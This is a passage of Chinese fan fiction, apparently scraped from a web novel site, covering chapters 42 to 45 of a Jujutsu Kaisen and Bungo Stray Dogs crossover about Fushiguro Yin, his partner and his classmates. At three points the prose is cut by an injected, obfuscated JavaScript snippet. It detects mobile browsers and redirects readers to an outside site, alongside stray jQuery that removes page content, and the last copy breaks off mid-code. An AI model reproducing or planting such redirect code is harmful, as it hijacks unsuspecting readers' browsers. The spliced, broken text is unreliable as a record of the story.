西园寺鸣月沉默片刻,变出几个枕头,无声无息将自己的腿替换出去,随后站起身,“我去找找。” 没走出多远,小隐就自己回来了。 他抱着一大束蓝白花朵出现在西园寺鸣月面前。 扑面而来的冰雪气让金发青年动作微顿,而后了然地啊了一声,“小隐去了那里啊。” “嗯哼。” 似乎刚去洗了个澡,偷渡客身上满是水汽,绷带也缠得很松,隐隐露出苍白的肤色。 他的心情瞧起来很不错,连带着步子都透露着轻快。 “鸣月,花开了。”偷渡客将摘下的花朵递到金发青年身前,血红色眼睛弯成月牙,“小隐是第一个见到花开的人。” 他怀抱里的花朵参差不齐,根茎断裂,像是一下子扯掉一大把,然后从里面挑了几株完整的带回来。 西园寺鸣月盯着花,目光凝在沾满泥泞的绷带上,最后叹口气,“小隐啊……” “面具戴久了,会摘不下来的。” 他弯下腰,拾起一支支散落在地面的花束,再重新放进男孩怀抱里。 “你从前不是会因为花开就高兴的性格。” “不,我不是因为花。” 偷渡客语调有些怪异的兴奋,“鸣月,我不是因为花,我很开心,不是因为花。” 他连说三句,又带着花猛地扑进西园寺鸣月的怀里,额头重重砸在青年硬邦邦的胸膛上,迅速红肿了一片。 偷渡客没在意,仿佛感受不到痛苦般,他紧紧抱住金发青年的腰,疯魔般呓语,“鸣月,我很开心,非常开心,鸣月,鸣月,我好高兴,非常非常的高兴。” “……” 西园寺鸣垂首。 这家伙喜欢打扰别人谈情说爱? ——怪异的嗜好。 …… “昨天玩得开心吗?小隐。” 全新的一天,全新的咒灵,灰原雄带着前辈们的期望与寄托找到了伏黑隐,好奇地问出了这个问题。 也不怪他好奇,面对这种尾随着尾随着就突然消失的场面,谁能不好奇? 而作为被四个人尾随、但做到了无声无息消失的其中一个当事人,他困倦地打了个哈欠,“嗯……还行吧,不怎么顺利。” “说好的私人约会,一直有人打扰什么的,好不容易找到一个安静点的地方,又遇到了一个小孩子。” 伏黑隐表情失落,“所以很多想做的事情就只能不了了之啦。” 后面传来一声大大的呼气声。 他狐疑地扭头,谁也没看见,便以为是没休息好幻听了,“总之,是一次很平常不过的相处啦。” “所以小隐的恋人和禅院家有关系吗?”五条悟从侧边窜出来,熟练地揽住少年肩膀,将体重偏下去,“感觉有些眼熟诶。” “这个我不太清楚啦,他说他没有姓氏,我就没怎么详细问过了。” 伏黑隐疑惑地望向五条悟,“前辈怎么知道……” “是画,隐上学期的画让悟觉得有些眼熟。”夏油杰轻咳一声,从后面快步追上来,“没有姓氏,小隐不怕被骗吗?” “不怕哦。” 轻易被夏油杰这个理由说服的伏黑隐抿起嘴,不好意思地笑了一下,“因为他现在姓伏黑啦。” “……什么?!!” 震惊的声音有男有女,伏黑隐被吓得下意识往侧边偏了一步,一回头,三年级的学姐们居然也在。 “歌姬前辈?冥冥前辈?” “咳……伏黑。”穿着巫女服的少女捂嘴咳嗽,“我说我只是刚好路过……伏黑你相信吗?” “歌姬前辈……” 看着第一次尊敬自己第一个喊自己前辈的学弟谴责的目光,庵歌姬捂住良心,默默闭眼,“对不起学弟!” “五条悟说学弟恋爱了我只是有点好学弟喜欢的人会是什么样子恋爱又是什么样子我不是故意偷听学弟墙角隐私恋爱故事也不是故意欺骗学弟的对不起!” “……” 伏黑隐本来也没有生气,只是有些震惊平时有悟没她,有她没悟的三年级前辈居然会在这个时候,和五条悟待在同一个地方并偷听自己说话。 此时面对学姐一大串的解释加道歉,伏黑隐张了张嘴,一时间有些语塞,只能说:“没关系的歌姬前辈。” 庵歌姬擦擦眼角,乘胜追击,“所以他真的改姓伏黑了吗?” “啊……是的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710788|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他性格怎么样?” 伏黑隐想了想,“一开始蛮粗鲁的,在一起之后就温柔很多啦。” 庵歌姬握拳,“伏黑你们是怎么认识的?” “他是我以前当医生遇到的病人。” 提到这个,白发少年整个面部轮廓都柔和了下来,“他很厉害,但也因此经常受伤,后面久而久之我们就熟悉起来了。” “我遇到医闹的时候都是他在保护我。” “哇哦!”庵歌姬听得双目泛光,“原来如此,原来如此,完美的相遇发展,你们之前是不是经常吵架,但很快就会和好?” “诶?前辈怎么知道的?” 伏黑隐困惑地抓抓头发,“对,我们经常惹对方生气,但一般不到第二天就和好了。” 庵歌姬激动地欢呼一声,“我就知道!像学弟这样的人,恋爱也一定会和漫画一样!” 漫画? 什么漫画? 伏黑隐还没思考过来,前辈的下一个问题就紧随其上。 “那他是做什么工作的?” “目前在帮我照顾我的妹妹和弟弟。” 庵歌姬长长地哦了一声,兴致一瞬间降了下去,“所以他现在没有工作,靠伏黑在养。” “应该……算是吧?” “什么?”五条悟惊呼一声,“小隐你居然养了个小白脸!” “悟,不要说的那么明显。” 夏油杰的话语好像生怕伏黑隐不够生气。 “……” 伏黑隐嘴角抽动了一下,“没关系,他遇到我之前的职业,本来也是牛郎。” “哈?!” 这次连最稳重的七海建人也惊呼了一声。 夏油杰险些绷不住脸上的表情,声音也比平时高昂了一些,“那你图他什么?” 在众人目光如炬的注视下,伏黑隐悄悄低下了头,“他……嗯,他身材……身材挺好的。” “……” 顿时寂静的场景之中,隐隐响起一两个人大为震撼的吸气声。 最后,已经不复五分钟前激动的庵歌姬凝重地与学弟对视,“伏黑,我只问一个问题。” “你的恋人,在和你恋爱之前,”庵歌姬咽了咽口水,“他是处男吗?” “……” 好,好粗暴的问题。 伏黑隐被问得一愣一愣的,回答的声音也结结巴巴,“他,他之前是,是牛郎啊。” “所以不是处男!” 伏黑隐……伏黑隐艰难地点了下头。 “我知道了。”庵歌姬的眼睛里好像有火焰在燃烧,她突然上前一步,紧紧握住伏黑隐的双手,“伏黑,他一定是在觊觎你的金钱!” 伏黑隐:! 好熟悉的话语,好像他之前也说过。 “没关系,其实都是我……” “他骗完你的钱就会离开的!” ……都是我在用他的钱啊。 伏黑隐张了张嘴,后面的话还没来得及说出,庵歌姬便又开了口。 “果然,漫画一样浪漫的恋爱在现实中只会是骗局。”庵歌姬眼里的火越燃越旺,“伏黑,给他打电话,我现在就帮你结束这段糟心的恋情。” “……” “歌姬前辈,我们该去袚除咒灵了。” “伏黑,咒术师是不可以恋爱脑的啊!” “我很清醒,谢谢前辈。” ——他要说伏黑甚尔还有一个儿子,歌姬前辈是不是就会直接来抢他的手机了? 43.第 43 章 偷渡客连夜摧残了一大片花田,导致第二天早上西园寺鸣月过去一看,那里只剩下一小亩地的花了。 站在重归荒芜的土地上,金发青年无奈地摇摇头,重新取了种子种下去。 种子落地到花开的时间很短,只需要一个月的等待就能收获一大片,西园寺鸣月倒也不觉心疼,只是其他的孩子期待了很久。 “不要这样做了。” 面对他的劝告,偷渡客弯了弯眼眸,双手背在身后的男孩走路一蹦一跳,“鸣月会生气吗?” “只是有一些可惜。” 但也并非没有补救的方法。 花朵可以找世界止住它迈向枯萎的步伐,西园寺鸣月指尖灵巧地在线绳上翻转,编出了一个又一个的手绳,形状精巧的手绳上绑着数朵蓝白色的花。 他将第一个手绳送给了偷渡客。 由于太久没做的生疏,第一个往往都有些瑕疵粗糙,偷渡客嘟囔着其他人的要完美太多,却也没让西园寺再收回去。 “我是唯一一个和他们不一样的。”他说,“鸣月,你不能收回这份特殊。” 西园寺鸣月失笑,“小隐肯定是不一样的。” 听到这话,偷渡客又哼着难听的曲调,举着手绳去人群中炫耀了。 看着他格外幼稚的举动,西园寺鸣月维持着那抹忍俊不禁的笑,将手绳绑到最后一个孩子的手上。 野比二郎小心翼翼地抬起手,碰了碰腕间的花朵,花朵一晃心脏便也跟着晃,最后发现没有掉落时重重松了口气。 看起来不会因为走路就掉到地上去。 接着他看向还在收拾剩余花朵的金发青年,“西园寺先生。” “怎么了?”西园寺鸣月抬起头。 野比二郎小声问:“房子建好了,您会过来吗?” 这几天西园寺鸣月都没有离开石头屋,一直和他们待在一起,倒是让部分人生起了一点期待。 期待着以后西园寺先生也能一直和他们在一起。 如今房子只差一点就能够修筑好,他们知道里面有很多个房间,不多不少正好二十个。 二十个,是不是证明多出的那三个房间里……有西园寺先生和小隐的吗? 但这个问题直接问又太过冒犯,思来想去,野比二郎也只敢这样问。 西园寺鸣月手上动作不停,将整齐不少的花束绑在一起,这个年纪的孩子就算学会了一点伪装,他也能从里看出几分忐忑。 于是也没有吊胃口,说出了野比二郎内心最希望的一个回答。 “我和小隐也会住过来,希望到时候不会太打扰到你们。” 落下这一个惊喜后,西园寺鸣月拿起花束,对还在向偷渡客怒目而视的芥川龙之介招了招手。 “龙之介,来。” …… 芥川龙之介的异能很强大,假以时日一定会成为名震一方的异能者,但异能者本身性格太过激进,只攻不防,这是一个弊端。 西园寺鸣月试图让罗生门学会一点防守。 至少懂得在穿透敌人时,也学会防止它的主人被敌人穿透。 他庆幸现在的芥川龙之介只有九岁,远没有资料中固执头铁,至少很听西园寺鸣月的话。 就像现在,罗生门已经可以完好无损地叼起一颗苹果了——虽然中间经历了四天折磨,损坏了一百多颗苹果。 看着罗生门颤巍巍地将苹果放到自己摊开的掌心,西园寺鸣月赞赏地拍拍身前男孩的肩膀。 “很厉害,龙之介。” “嗯!” 雪白鬓发将主人的脸衬得与青年手中苹果一样红。 西园寺鸣月抛了抛苹果,等芥川龙之介吃完午饭,将苹果递给他,“饭后甜点。” “嗯!” 自从那次西园寺鸣月说过“没有人比得过你们”之后,芥川龙之介似乎瞬间失去了语言的能力,至少有西园寺鸣月在的时候,他只会用格外激动的声音,回答一两个简单至极的字。 西园寺鸣月对此接受良好。 在芥川龙之介兔啃萝卜般啃着苹果的时候,西园寺鸣月将花束全部花茎分离。 “好了,我们开始下一个训练。” 他让芥川龙之介站远一些,甩了甩手里的花,“龙之介接下来要做到的,是在这朵花落地之前,用罗生门将它接住。” 金发青年说着,将花朵向上一抛。 “还是最开始的要求,要毫发无损哦。” 不出所料的,直到日暮西沉时都没有成功。 短靴踏过被罗生门撕碎的花瓣,西园寺鸣月抱起因为力竭走不动路的男孩,扶着脊背帮他顺气,“明天再继续。” 长期的饥饿与受伤让身体素质降至了临界线,反转术式修复不了这种,只能慢慢养,面对芥川龙之介对于变强的急迫,西园寺鸣月也只说时间还长。 距离你出场还有七年呢。 他心想。 回去的路上,出乎意料的遇到了中原中也,他停在西园寺鸣月设下的领域前,看到金发青年的身影,着急地来到西园寺鸣月身前。 “『羊』今天遭遇了袭击,你有遇见过陌生的异能者吗?” …… 『羊』的基地在傍晚时突然塌陷了。 一大片地都深陷进地里,好些在休息的成员都跟着摔了下来,中原中也费了好大一番功夫,才将全部的人救起来。 幸运的是没有人死亡。 “是突然塌陷的。” 中原中也咬牙表示,一定是哪个该死的异能者做的。 而被请到『羊』的基地,帮忙治疗伤患的西园寺鸣月——他默默地抬头,默默地和坐在虹龙上的伏黑隐对视,又默默地移开视线。 西园寺鸣月跟着中原中也看了眼塌陷的地方,最后揣着真相点点头,“确实像人为。” 他继而走到被空出来放着伤患的地方,粗略地扫了一眼。 “还好,都只是摔伤。” 没有被木头刺伤,石块磕伤,已经是幸运中的幸运了。 西园寺鸣月熟练地走到最近的孩子面前,然后防不胜防地被踹了一脚。 “……中也,”他低头,看着裤腿上的鞋印沉默片刻,“不愧是你的伙伴啊。” 攻击敌人的方式都一模一样。 而面前的少年同样扯声大喊,明显的,对这个突然出现的陌生家伙充满敌意,“中也!这个家伙是谁?!” “是我请来的帮手。” 青年衣服上多出的脚印让中原中也有些无所适从,他连忙解释道:“西园寺的异能力是治疗,可以帮你们治疗伤口。” “万一他是骗子呢?” 一头灰白的少年仍旧保持怀疑态度,不相信中原中也的说辞,“中也,你不要被这个大块头骗了。” 大块头…… 这样说好像也没什么问题。 一米九的金发青年见眼前这人不相信自己,好脾气地换了一个人。 然后又被踹了一脚。 “雄介!” “没关系。” 对比中原中也,这两脚简直不痛不痒,除了衣服变脏外甚至没什么实感,西园寺鸣月朝他摆摆手,“毕竟我是成年人嘛,被警惕很正常。” ……但也不应该被所有人警惕吧? 来到这个世界头一次被孩子,还是几十个孩子抗拒的西园寺鸣月感觉到自己有点心梗。 他沧桑地低 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毫无保留向他展露了第三种能力的金发青年垂眸,重新迈向第一个拒绝他的人,近乎纯白的掌心伸出,面向被冻得止不住发颤的灰发少年。 发现他眼中深深的恐惧,金发青年轻轻叹了一口气。 “听话一些。” 接下来的治疗都十分顺利。 很快,西园寺鸣月快乐地拍拍掌心,快把人血液都冻凝固的寒温在顷刻间消散。 “好了,他们都痊愈了。” 西园寺鸣月看向中原中也,“中也,还是很冷的话,我们先出去吧。” 中原中也这才猛然回过神,三下五除二将身上大衣扒下,递到西园寺鸣月面前。 “谢谢。” 布料舒适的触感从掌心脱离,他下意识蜷起指节,尝试着挽留一点余温,反应过来自己在做什么蠢事后猛地收回手,不自在地又道了一声谢。 西园寺鸣月没有第一时间说话,他古怪地看了中原中也好一会儿,才奇怪地开口: “怎么和在外面有点不一样呢?中也。” “啊,有吗?” 中原中也果然被这句话转移了注意力。 金发青年走向屋外,“有一点点喔,中也在外面可不会随便低头,也不会随便道歉。” 中原中也本能地跟着西园寺鸣月一同走出去。 “就算是有求于人,这样的中也看起来也太软弱了,很容易遭到别人的欺负哦。” “哈?我才没有!”他皱眉反驳,“我怎么可能被人欺负?” 被反驳的西园寺鸣月笑眯眯地穿上大衣,“这种语气才是我熟悉的中也嘛。” 他们一同走到『羊』的外围,这里被中原中也清理过,除去『羊』之外不会有人接近。 夜幕降临时,这里很安静。 “好了,就送到这里吧。” 西园寺鸣月叫住还打算继续送到石头屋去的中原中也,“已经很晚了,中也也该去休息了。” 他察觉到钴蓝色眼瞳中的犹豫,温和着声音问:“还有什么想问我的吗?中也。” “就是……” 霜白月光照进扬起的钴蓝色眼眸里,映出漂亮的光景,对情绪感知敏感的中原中也问:“你是不是知道基地坍塌的真相?可以告诉我吗?” “我还以为是什么大问题呢。” 西园寺鸣月直起身子,笑容开朗,“也没什么,只是你们这里闹鬼,那个动静,是抓鬼才会产生的动静。” 中原中也:“!!!” 44.第 44 章 得知自己基地闹鬼的那一夜,中原中也彻夜不眠。 睡不着的他听了一整夜西园寺鸣月的坏话。 最后在白濑“以后不要再找那个家伙”的告诫下,终于等到天亮的中原中也去往了西园寺鸣月最近常驻的石头屋。 彼时的西园寺鸣月正在为房子做最后的修葺——指用商城买的道具给孩子们建的房子加固。 看见中原中也出现,站在房顶上的金发青年朝他一颔首,“怎么了,中也。” 中原中也双手插兜,看天看地就是不看西园寺鸣月。 “你先忙。” 估摸着不是什么要紧事,西园寺鸣月让一个灰头发的男孩给中原中也拿点零食,自己则加快了速度。 等到忙完,他摘下手套,穿着一身工装服走到中原中也面前,“好了,中也。” 高大的影子遮天蔽日,如山峦盖住他眼前的光明,捏着糖果袋子走神的褚发男孩吓得一个激灵,猛地后退一大步。 “你别离那么近啊!” 金发青年还没有说话,旁边抱着工具箱的小红毛就先生气了,“西园寺先生才没有接近你!” 这个距离说近不近,说远不远,刚好越过陌生人社交的最佳距离,朋友间会觉得生疏,但作为熟人,定然是不会觉得冒犯。 西园寺鸣月先是一愣,随即反应过来中原中也估计是被吓到了,按了按小红蓬松的头顶。 “没事,中也没有恶意。” 在西园寺鸣月示意下,两个人走到一处远离人群的角落。 这个时候,金发青年才问有什么需要他帮助的。 “你能再去一趟『羊』吗?” 青年诧异地扬起眉,轻声询问原因,中原中也就偏头看着远处石块,声音放低,“……看看鬼还在不在。” 不知道为什么。 总觉得在西园寺这里说出真实原因会很丢脸。 “那个啊。” 头顶忽地响起一声压不住的笑,金发青年从他的反应里确定了什么,“中也是怕鬼吗?” “我没有!”中原中也反驳,语气里多少有点气急败坏的情绪在,“我只是担心那个鬼没有走,会伤害到羊的成员!” “好吧,是我误会中也了。” 西园寺鸣月的声音依旧带着笑,“中也不用担心,昨天它就已经被抓走了。” “这样啊,我知道了。” 中原中也松了一口气,刚松到一半想起什么,又紧急止住,他屏着呼吸偷偷向上抬眼,正好对上一双含笑的冰蓝色眼眸。 中原中也:“!” “我一点都不怕鬼!” 他再次强调,“一点都不怕。” “我知道。” 西园寺鸣月眼底笑容更甚。 在道别之前,金发青年忽然问他:“中也,如果有人欺负你的家人,你会报复回去吗?” 中原中也扭头,不假思索:“肯定会啊。” 他疑惑西园寺鸣月为什么会问出这个问题,答案难道不是显而易见的吗。 “如果那个人是『羊』的成员呢?” “………” 西园寺鸣月没有立即得到答案。 他见中原中也拧眉思索,最后像是终于做出了决断,纠结的眉眼骤然放松下来时,主动开口道: “这个问题不着急回答。” 西园寺鸣月定下了五年的时限,“到时候再回答我吧,中也。” 五年,一个不短不长的期限。 那个时候的西园寺鸣月还会不会留在这里都不确定,毕竟一个养尊处优的人,怎么可能长久地停留在擂钵街。 但中原中也还是答应了。 他咽下快要出口的那个回答,点头与金发青年告别。 ……… …… 横滨任务结束的一个月后,课业繁忙的伏黑隐总算找到机会,跟着两位同期离开了高专。 也有想躲避歌姬前辈的想法在。 这段时间一直在被认为自己谈了渣男的前辈劝分,伏黑隐也有些不堪其扰。 ——不过确实不枉这次逃课。 看着眼前扇了五条悟一巴掌,并精准吐槽夏油杰刘海的中二少女,伏黑隐捏着下巴若有所思。 “照片看着确实没有本人更有活力嘛。” 灰原雄跟着点头:“而且胆子也很大。” 七海建人:“所以我们过来的作用是什么?” 他那么早结束袚除任务是为了回宿舍休息,而不是cos捧哏和观众,在这里看前辈们的笑话的——虽然确实很好看。 伏黑隐短暂思索片刻,“让护送星浆体的队伍显得更壮观一点?” 壮观不是这么用的啊……对于自己这位同期偶尔的语出惊人,已经完全习惯的七海建人无奈。 “走了!” 五条悟的声音从背后响起,伏黑隐和灰原雄没再纠结这个问题,一人抱住七海建人一只手臂,跟在了前辈们的后面。 没有注意他们交流了什么的伏黑隐问:“我们现在要去做什么?” “放开我!” 直接送去薨星宫同化,还是再缓一缓? 五条悟给暗处的诅咒师丢了一发苍,“去上学。” “我自己能走!” 控制咒灵瞬杀袭击者的夏油杰,“悟,那是女子专校,我们只是去保护天内小姐,不是上学。” “伏黑隐!” 看了眼天内理子,伏黑隐说道:“要是去的话……前辈们要穿裙子吧。” “灰原雄!” “嗯嗯嗯!” “悟,你究竟在兴奋什么……” “……” “杰,来试试嘛!” “悟,你不准再靠近我了!” “来试试嘛——” “你再过来我放咒灵了!” 天内理子,黑井美里,还有一年级三人组目瞪口呆地看着这一场闹剧。 少女结巴着说道:“……这、这是妾身的更衣室吧。” 这大猩猩一样的体型到底是怎么把裙子穿进去的啊!! 一年级的黑毛:“五条前辈……” 一年级的金毛:“为什么……” 一年级的白毛:“要穿十四岁女学生的超短裙啊!” 天内理子崩溃:“那不是超短裙!那是妾身的学生制服!学生制服!” 一个一米八的大猩猩无论穿什么裙子都会变成短裙吧! “悟!衣服要烂了!松开手啊!” 一年级的三个人嘀嘀咕咕,天内理子和黑井美里还在震惊,一时间竟没有人发现夏油杰的哀鸣。 等听到手机拍照的咔嚓咔嚓声时,夏油杰已经戴上了和五条悟同款的粉色蝴蝶结。 伏黑隐目光游移,超小声地“哇”了一下。 然后被五条悟锁定了。 “小隐!”穿着jk全套制服,头顶超大蝴蝶结,脸上甚至还画了全妆的白毛前辈又取出了一件,“你也穿!” “……” 伏黑隐和灰原雄同时惊恐地发出一声惨叫,“七海海救命啊!” 七海建人:……他能救什么命? 等等——五条悟是不是看他了?夏油前辈怎么也开始挑衣服了?! 最后,伟大的【十划咒法】将白毛墨镜怪的裙子割成了三七分,在白毛尖叫着合拢双腿拉住裙摆的时候,一年级众人成功逃离了这里。 “七海——” “娜娜明——” 同期如出一辙的感动目光如芒在背,至今也无法理解,自己的术式到底怎么做到自主切割裙子的七海建人选择了沉默不语。 自己的术式莫非变异了? …… “砰!” 金发少年臭着脸走过来,将可乐重重放到两人面前。 塑料杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720353|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸在平滑桌面,溅出几滴浅褐色水珠,在买单取餐的归属中划拳大失败的七海建人又转过身,去取另外两个人的快餐。 伏黑隐趴在桌面上,歪头玩着手机,等到七海建人将食物取过来才撑起身子,“话说,一会儿是要去找五条和夏油前辈吗?” “对,夏油前辈说到时候就给我们发消息。” 灰原雄咬着吸管,无事一身轻,“我们跟着他的定位过去就好了。” 本来离开了那所女子专校,早就结束了任务的他们是准备回高专的,然后在联系辅助监督的时候,班主任黑冢墨通知了他们新的任务。 ——和二年级一同护送星浆体。 重点点名了混出高专的伏黑隐,要求星浆体不能离开他的视线一步。 但是星浆体目前在上课。 他们三个男生总不能这个时候换女装去当几节课的转校生吧? 先不提几人能不能做到面不改色的男扮女装,临近放学的时间来三个转校生——这件事怎么想都不合理吧。 黑冢墨在电话里沉思了足足一分钟,才说那就在校外等吧,等二年级给你们发信息。 于是三个人就这样坐在快餐店,从下午两点等到了晚上九点。 一直到黑冢墨打电话询问发生了什么事情之后,七海建人才用平静的语气说:“我们被二年级放鸽子了。” “……” 黑冢墨短暂无语了片刻。 “前辈们那边到底什么情况……”伏黑隐嘀咕着私信了夏油杰。 夏油杰那边刚显示已读,联系五条悟的灰原雄就大声道:“前辈们去了冲绳?!” “……” 这下所有人都沉默了。 七海建人黑下脸,“那我们怎么办?” 伏黑隐:“夏油前辈说让我们也出去玩。” 灰原雄:“五条前辈给我转了一大笔钱。” 三个人对视一眼,又默默看向七海建人还维持着通话状态的手机。 黑冢墨:“……不管你们回不回来,我都会如实上报。” 他主动挂断了通话。 过了一会儿,同样收到了夏油杰转账的伏黑隐思考着,“晚上有什么好玩的地方吗?” “嗯……”灰原雄也开始思考。 七海建人:“已经确定不回高专了吗?” 伏黑隐一听,撑在掌心的头转而望向他,“七海一看以前上课就没有迟到过。” 来到高专之前,确实没有迟到过的七海建人:“……为什么这么说?” “因为不管迟到多少分钟,受到的惩罚都是一样的。”灰原雄对此深有体会。 伏黑隐紧接下句,“所以不管玩不玩我们都会挨骂啦,既然如此不如玩得再开心一点。” 原来如此。 七海建人明白了。 但是…… “我们不能自己玩自己的吗?” 温热的水流漫过胸膛,驱散着接连任务后的肌肉酸痛,七海建人背靠着光滑的岩石池壁。 氤氲水汽在私密的温泉里袅袅升腾,远处是东京模糊而璀璨的夜景,这是他最喜欢的放松时刻,一切本该是完美的——如果他的两边没有人的话。 七海建人面无表情,与这池本该让人彻底松弛的温泉格格不入。 而在他两侧,那两位占据了大半空间的同期,姿势闲适,表情享受,像回到了自己的家。 “因为完全不知道玩些什么。” 伏黑隐发出一声满足的叹谓。 “所以就想跟着娜娜明嘛。”灰原雄盘腿坐在地板上,腮帮子被酒店送来的寿司塞得鼓鼓囊囊,“七海海选的地方肯定最舒服了!” “……” 有一根弦在脑中嗡嗡作响,但最终,七海建人只是深深地、无力地吸了一口气,然后缓缓吐出。 算了。 他闭上眼。 迟早会习惯的。 45.第 45 章 在确定两位同期都不会再说话之后,伏黑隐也闭上了眼。 他现在忙着给远在冲绳的五条悟找麻烦,确保五条悟会一直开着无下限直到去往薨星宫。 至于为什么会沦落至此—— 看着仗着自己是个傻子,所以正大光明接了黑中介孔时雨电话的伏黑甚尔,伏黑白缓慢地眨了眨眼睛。 算算时间,高专那边再过半天,五条悟和夏油杰就会接到星浆体悬赏了。 到时候把伏黑甚尔捞出来后,就该琢磨着把人送出国的事情了。 不知道五条悟会不会认出来甚尔就是他口中的那个小白脸……当时挑的距离还蛮远的,还特意让世界加了个柔光特效,应该认不出来。 “这个我不接。” 不接委托?这可不像是伏黑甚尔贪……等等。 什么委托没有接?! 彼时正在医务室的伏黑隐握着手术刀的手一抖,在患者身上划出了一大道口子,逐渐有了知觉的患者痛呼出声,他连忙又打了一针镇定剂下去。 伏黑隐迅速给人处理了伤口,随后取出手机,给刚被挂断通话的孔时雨打了过去。 他走到一个休克过去的伤患旁边,压低声音。 “甚尔刚才拒绝了什么委托?” “一笔三千万的大单子。”孔时雨十分惆怅,他刚刚损失了一笔高昂的中介费,“他说什么要去参加孩子的家长会,还是两场,没时间,忙不过来。” “……” “伏黑,你有什么头绪吗?” 同样开始惆怅的伏黑隐默默挂断了电话。 随后,他颤抖着点开伏黑甚尔的聊天框,将自己的疑惑打字问了出去。 “那是一笔三千万的大单子!你拒绝它干什么?!!” 几秒钟后,伏黑甚尔的电话打了过来。 “你不是说他们的成长最重要?” 伏黑甚尔轻松地将旁边的伏黑白捞过来,随意地揉捏着他的头发和脸,“你现在在上学,我代劳了。” 所谓代劳是让你把一个无知无觉的傻子按在怀里当玩偶随便捏的吗?! 伏黑隐手上用力,锋利的手术刀刺入血肉。 “所以说,你为了一个家长会……” 他咬着牙一字一顿,“拒绝了一个三千万的委托?” “是两个。” 伏黑甚尔纠正。 “重点不是这个!” 伏黑隐拿起镇定剂,让痛醒的伤患再度昏睡过去,他摘下手套,烦躁地抓抓头发。 “你怎么会拒绝……这个委托?” 暗杀星浆体这件事,这难道不是底层代码吗? 伏黑甚尔从茶几上取来一根橡皮筋,松松抓起手下的黑卷发,随口回应:“你不是在高专吗?” 伏黑隐惊诧道:“就因为这个?” “我希望你快一点找到那什么意义。”伏黑甚尔从伏黑隐语气中发现了一点不同寻常,“怎么,这个委托有关这个?我还可以接回来。” “……” “不,”伏黑隐安静了一会儿,选择了拒绝,“不用。” 接取委托的心态变了,指不定后面还要弄出什么幺蛾子。 他将手套和手术刀全部放进清洗池。 铁与铁的触碰当啷几声响,响亮地回荡在医务室。 “只是有些不可思议,你居然会拒绝那么大一个单子。” 电话里传来几声闷笑,伏黑甚尔梳理着怀里大型娃娃的头发,“就像你说的那样,爱情可以改变一个人的思想。” 他竟然也学会了只说半句要遮不遮的话,伏黑隐抬手捏了捏眉心。 “不要告诉我,你如今的梦想是成为一个利他主义的恋爱脑。” “只唯你。” “……” “隐?” “你好肉麻,挂了。” 白发少年放下手机,捧起水洗了把脸。 冰凉的水流压下心脏带起的炽热,他重新戴上手套,装作什么都没有发生,什么也不知道的样子重新开始了工作。 …… ……… 总控空间站,神隐深深吸了一口气。 他将临时购买的一百个全自动人偶设定好术式容貌,分别投放在东京和冲绳,随后盯着监控,在五条悟和夏油杰踏出高专的半分钟后,一键启动了人偶。 “麻烦找了,伏黑甚尔怎么办?” 搭档咬着磨牙棒,上万个监控画面以分秒跳动着,“要在无知无觉中用天逆鉾背刺五条悟,除了天与咒缚没人能做到吧?” 神隐顶着一头鸟窝瘫坐在工位上,“还有角色卡。” “那也是要设定的啊。” 搭档喃喃,“不管是异能者还是咒术师,六眼都是能够发现吧?” 就算异能力不会被发现他们也不能赌啊,已经被干涉过的时间线是不能再被改变的。 就算回到过去也一样。 “让我想想……” 神隐抓着头发,突然重重一拍桌子,动静之大,将周遭漂浮的星云也震散开来。 “你说我把神白设定成天与咒缚怎么样?” 纵使知道神隐胆子大,但还是有些惊诧的搭档扭头,“神白不会同意吧?” “管他同不同意。”神隐将角色卡上面的能力设定一键清空,“大不了在这基础上再给他强化一下。” 要是真不满意,到时候再弄一张空白角色卡就好,老板最不缺的就是这个了。 上百张地图,上千个pv,每次拍摄用的都全新角色卡,要不是世界不允许,老板估计会让神隐全部带过来,正好清一下仓库。 搭档抱着两根磨牙棒坐过来,看着上面闪烁出的文字给出建议,“要不把血加厚一点?万一逃跑的时候没跑过五条悟,扣血也不心疼。” “行。” …… 等到伏黑甚尔最后重重揉了一把伏黑白头发,把人留在家里外出之后,独自在家的男孩眼睛突然变得明亮起来。 说完那一长串尴尬台词后,伏黑白左右看了看,随后在监控底下,目标明确地回到了自己和兄长的房间。 将替身人偶变幻成伏黑让样子,放到床上之后,他把头顶伏黑甚尔绑的辫子解开,启动了角色卡的定点投放。 黑卷发的身影逐渐拉长,变宽,角色卡自带的时装在穿梭空间时自动覆盖在青年身上。 东京—— 从无人注意的角落走出的青年微微低下头,修长白皙的手掌没入大衣口袋,取出一根皮筋,将海藻般弯曲的长发扎起。 路灯与车辆交织的霓虹光影下,身形高挑的青年戴上口罩与墨镜,正好与打闹着去往温泉酒店的一年级三人相对而过。 角色卡的身体年龄可以自由选择改变,这也是伏黑隐没有被怀疑过真实年纪的原因。 身高要比兄弟略高半个头的伏黑白取出手机,登录世界帮忙准备的账号,手指下滑,接取了搭档发布的刺杀星浆体的悬赏。 [天逆鉾偷到没?] 游云没什么出场空间,打算捅完五条悟就跑的伏黑白不会让夏油杰有面对自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 